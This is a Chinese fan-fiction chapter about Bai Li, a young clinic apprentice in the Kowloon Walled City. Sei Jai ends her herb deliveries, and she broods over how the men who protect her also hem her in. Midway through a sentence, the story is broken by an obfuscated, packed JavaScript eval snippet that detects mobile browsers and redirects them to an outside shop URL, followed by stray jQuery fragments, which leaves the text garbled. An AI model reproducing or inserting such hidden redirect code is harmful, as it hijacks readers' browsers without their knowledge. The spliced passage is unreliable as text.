四仔来的那天很突然。
时间是周四的中午。
陈伯去外面订药材,大中午也没人会来医馆看诊。
药材已经被白里打包好,下午去四仔那时就会像往常一样顺带过去。
所以白里在看到四仔的时候,有些意外。
但她也没多想,往药柜旁让了让。
“四仔哥,而家有冇边味药材急需补货?你如果急用嘅话,我可以...”
(...今天有什么药材是急需的吗...)
“...阿妹。”
白里的声音被打断了。
心里已经隐隐有了预感。
这是四仔第一次这样叫她。
他平日里压根不怎么称呼她,有话往往就直说。
而今天他的声音带着明显的迟疑。
白里转过身,看向了四仔。
他今日还是裹着那件旧外套,弓着背,整个人看起来要比往日里局促。
白里静静地听着四仔说自己以后不用去送药了。
他会亲自来取。
现在烂仔们也不会来骚扰,简单的外伤处理她也学得差不多。
止血、消毒、清创、缝合,她学得比他见过的人都要快,该会的都会了。
如果再有什么问题,可以到时候等他来取药时问。
四仔说话时,声音放的很轻,带着那种彪形大汉哄小孩时的别扭感。
但他的话说的也干脆利落,没有什么回转的余地,更没有征求意见的意思。
话已经落地,他来也只是通知。
四仔站在那等白里反应时,移开了视线。
仔细打量着被整理得干净整洁的药柜,然后是抽屉上的每一行字签,继而是研磨药材用的工具,甚至到柜台上摆放整齐的油纸。
哪儿都看,就是不落在她的身上。
白里下意识想要争取,但紧接着就闭上了嘴。
在那短暂的停顿瞬间,她把所有的可能性都想了一遍。
是提子去找四仔说了什么吗?
是信一?是其他龙城帮的小弟?还是龙卷风听说了什么?
思绪已经进行不下去。
因为白里想完了所有的可能性,却发现哪一个都不重要了。
结果已经摆在面前。
白里愣怔地站在原地,应了一声。
四仔拎着药包走到门口的时候,白里缓过神,叫住了他。
“四仔哥。”
“嗰堆田七粉放喺最顶格左数第二格。未打磨嘅厚片我已经用油纸包妥,最近湿气重,记得定时攞出嚟透下风,唔好发霉。”
(那堆田七粉放在最上面左边第二格,没磨好的厚片我用油纸包好了,最近湿气重,记得定时拿出来透风,不要发霉。)
声音又快又稳,这叮嘱过于平常。
四仔僵硬地应了一声。
他没回头,推开门走了。
铜铃声在空荡的医馆响着。
白里静静地站在药柜前,直到铃声偃旗息鼓都没再有动作。
下午陈伯来到医馆,看到白里还惊讶了一瞬,但也没多问。
他一向不多问,见有人守着,便放心的出门溜达。
一整个下午都很安静。
梁俊义也已经有一段时间不会在周四下午来。
因为他知道这个时候的医馆只有陈伯。
可从今天起,这个时间的医馆也同其他日子一样,只会有白里一个人守着。
她表情平静地过完了这一天。
等到下午早早收工,回到了福盛楼。
提子应该还在忙,这还不到他下班的时间点。
白里静静地躺在床上发了会呆。
她从四仔走后,就几乎没怎么开口说过话。
脑海里反反复复地重播着那一句“以后唔使嚟啦”。
是因为城寨里的风已经吹起来了吗?
她不知道。
但她知道这不会是因为提子去找四仔说了什么。
他会在医馆门口拉走她,会在巷子深处求她别再去,但他的要求终究是向内的,不会向外。
他不会也不敢去找四仔施压。
不会是因为他自己,不敢是因为四仔。
可他有想过他去医馆门口后的事情吗?
理智告诉白里,他只是一时冲动。
他一向冲动,他没想过。
但情感在叫嚣。
他不是草鞋吗?他是真的没想过吗?
提子又不是那种只懂得挥拳的愣头青,他在龙城帮混得开,城寨的街坊邻居也要夸他一句会做人。
白里侧过身,闭眼半蜷缩在床上。
她又想起四仔叫阿妹时的神情。
这个名字城寨里人人都在叫,但四仔之前从没叫过。
他叫她阿妹是因为什么?
疏远又拉近。
他拒绝她再进入四仔的医馆,可又拉她进入了“自己人”的地界。
白里能想明白四仔的心思。
街坊间的风言风语她也能想得到。
有人会说她在医馆待了太久,说她认得药材还会治伤救人肯定是因为傍上了四仔。
有人会说她一个北姑整日抛头露面,见谁都是副笑脸,说不定是在背地里做暗娼。
有人会在到四仔医馆包扎时,倚老卖老地调笑一句,“你门口那个女徒弟看起来好叻哦。”
可这些风言风语在之前就已经存在。
城寨里的人一向多,声音也杂。
有街坊对她好,跟有街坊看不惯她并不冲突。
这里从不是非黑即白的地方,任何事都可以同时存在,谁也抵消不了谁。
她已经习惯,四仔更是早就习惯了。
所以这从来没影响到四仔的决定,也没影响过白里的行动。
可如今她真的很难忍住不去想,是不是提子在某个地方说了什么话,被有心人听到,然后在城寨里发酵成了冲鼻的舆论。
可能是房间里的霉菌味太重吧。
白里觉得这往日再寻常不过的味道如今竟有些刺鼻,索性把脑袋深埋在枕头里。
提子拉走她那天动静不小,屋内肯定有烂仔看到。
侧巷虽然隐秘,但任何一扇窗后面都可能站着一个人。
他们在自己离开后,一夜未回。
又是在哪里聊着兄弟义气,进行着那种男人之间的“我兄弟为条女搞成这鬼样”的谈论?
白里不知道他们那晚吹水时都聊了什么,但她能猜到今天四仔的决定大抵是那晚的延续。
他看到了什么,或者听到了什么,想了快一周,然后做出了这个决定。
现在想来,白里其实不应该觉得意外。
如果她不想再往上爬一个台阶,内心没肖想过龙城帮的势力,没盘算过城寨清拆的巨大利益,那四仔替她做的这个决定确确实实是对她好的。
“城寨嘅女人,最紧要就係搵个靠得住嘅男人。如果跟错人,靠唔住,往后嘅日子就会好多麻烦。”
(城寨女人最重要的是找一个靠得住的男人,如果跟错人,靠不住,以后的日子就会有好多麻烦。)
这句话她从不同人嘴里,以不同的口吻听过无数次。
每个人都在给这句话做上大抵相同的诠释与注脚。
城寨的规矩就是这样。
女人是挂靠在男人身上的附属品——谁的女儿、谁的女人、谁的阿妈、谁的阿婆。
她的地位首先取决于她身后的男人是谁,其次才是她本身的价值。
如果没有这个男人,那就是可以被任何人咬一口的肥肉,推之即倒的危墙。
他们甚至不需要为此而道歉。
其实不管是靠得住,还是靠不住,现在白里看来:男仔都一样麻烦。
他们爱一个人的方式,就是把她变成一个需要被保护且只能被他保护的人,然后再拼了命地去保护。
这是爱吗?
一开始遮风挡雨的伞正在一寸寸地压到头上,压到肩膀上,压到她再也直不起腰,看不清路。
她又不是冲着哪个男仔才来到城寨的。
她做的一切,受的苦,走的路,都是为了能在这片肮脏混乱三不管的飞地里活出来个样来。
但别人不知道也没打算知道。
所以四仔不想看到提子同她因为医馆再起争执,不想看到提子被不安与恐惧压垮,不想看到好不容易成长起来的医馆阿妹因为他不好的名声而被裹挟。
四仔是在用推开她的方式在维护她,所以他说以后不用送药材了。
她应该感激他。
她都知道,但她的路被堵死了。
枕头隔绝了一切外界的声音,连空气都变得稀薄。
白里仍一动不动。
四仔医馆是整个城寨最接近暴力与血腥的地方,如果她能在那证明自己有用——不可替代的那种有用。
那她就不必再维持着跟提子的关系
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690887|204882||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,甚至不需要再在陈伯医馆里当帮工。
她将从一个可以被任何男人轻易抹掉的标签,变成一个真真正正独立的人——有自己的名字,有自己的位置,有不可替代又不可磨灭的价值。
因为城寨可以不尊重一个女人,但不会不尊重一个能救命的医师。
白里原本以为自己可以通过再多几次的帮忙,在清创缝合治伤上的一次又一次精进,就能让四仔看到她的努力,看到她的价值不仅仅只是打下手。
再等到某天一个偶然的时机,遇到一个恰巧需要被救治的龙城帮的细佬,然后龙卷风就会在理发铺里听说她的名字,再说上三言两语的有关她的认可。
不。
不需要三言两语,一句话就够了。
她只要有那句话,身份证和后面方方面面的好处都会纷至沓来的。
白里原本以为自己可以一步步走过去,从制衣厂走到陈伯医馆,从医馆走到四仔那儿,再走到龙卷风的理发铺门口。
她原本以为这条路可以走通。
只要她够努力,再努力,拼了命的努力。
可她现在连四仔的门口都不能去了。
她只能退回到陈伯的药铺里,守着那些中药柜,当一个街坊邻居都笑眯眯地叫声阿妹的“好女仔”。
那下一次再发生这样的事呢?
下一次她要被退到哪里去?
被退到福盛楼的那间小房间里吗?
白里爬起身,拉开了床头柜抽屉,在深处摸索了半天,才摸到了那支提子送的口红。
塑料外壳在灯光下闪着廉价的光,扭曲地映出了白里的脸。
从进入医馆的那天起,她就已经把吸引男仔注意力这一项从生存策略里删掉了。
当时的白里把口红收起来放进抽屉的时候,心里想的是:有一天她会用到的。
等她在城寨站稳,等她有了自己给的依仗,等她不需要避开任何人,能正大光明地走在港岛的这片土地上时,她会把这支口红拿出来用。
白里把口红拧出来,大红色的膏体如同第一次看到时一样。
它当时是十多蚊,现在还是,样子质地与价格一样一成不变。
可白里不是。
她与当时收到口红时的自己已然天差地别。
白里原本正在一步步地向前走着。
现在一切都被按下了停止键。
是谁的错?
提子?
严格来说,他也没做什么。
他只是爱然后感到了失去的恐慌,所以想抓得更紧,做出了一些尝试。
但在白里拒绝后,没有再提过一次。
四仔?
在他的认知中,他是想保护她。
烂仔不会再骚扰,外伤已经入了门道,他认下了白里阿妹这个身份,每周还会来医馆取药给她答疑。
这已经很好了,他只是不想让白里裹挟在争执与流言蜚语中。
信一?
他现在可能还不知道这件事。
他一直都在默默地在内心纠葛拉扯,没有莽撞地给她添麻烦。
两三个月的时间就能与过去的十年放在同一架天平上,已经出乎白里意料了。
城寨?
城寨就是城寨,它不是一个该被指摘的对象。
每个城寨人的脚下都长着看不见的根系,一个人的位置动了,就会通过末梢枝节牵扯到其他人。
没有人在针对她,但所有人都在提醒她:
走到这里已经很好,你不能再往前,你该知足了。
提子对她的好是真的。
所以她不能怪他。
四仔对她的保护是真的。
所以她不能怪他。
信一对她的体贴是真的。
所以她不能怪他。
城寨给了她容身之所。
所以她也不能怪它。
那如果所有的一切都不该抱怨,所有的对象都不该指摘;
如果所有对她好的人都是真的在为她好,所有给她保护的人都是真的在保护她;
那她到底应该去怪谁?
在这个原本以为自己已经站稳了的城寨夜晚。
白里意识到自己已经做了所有她能做的事情,却被一场因男仔而起的风浪又拍了回来。
白里安静地坐在福盛楼昏暗的小屋里,却感觉自己的“以后”正在被人从日历上一页一页地撕掉。
她很难过。
她不甘心。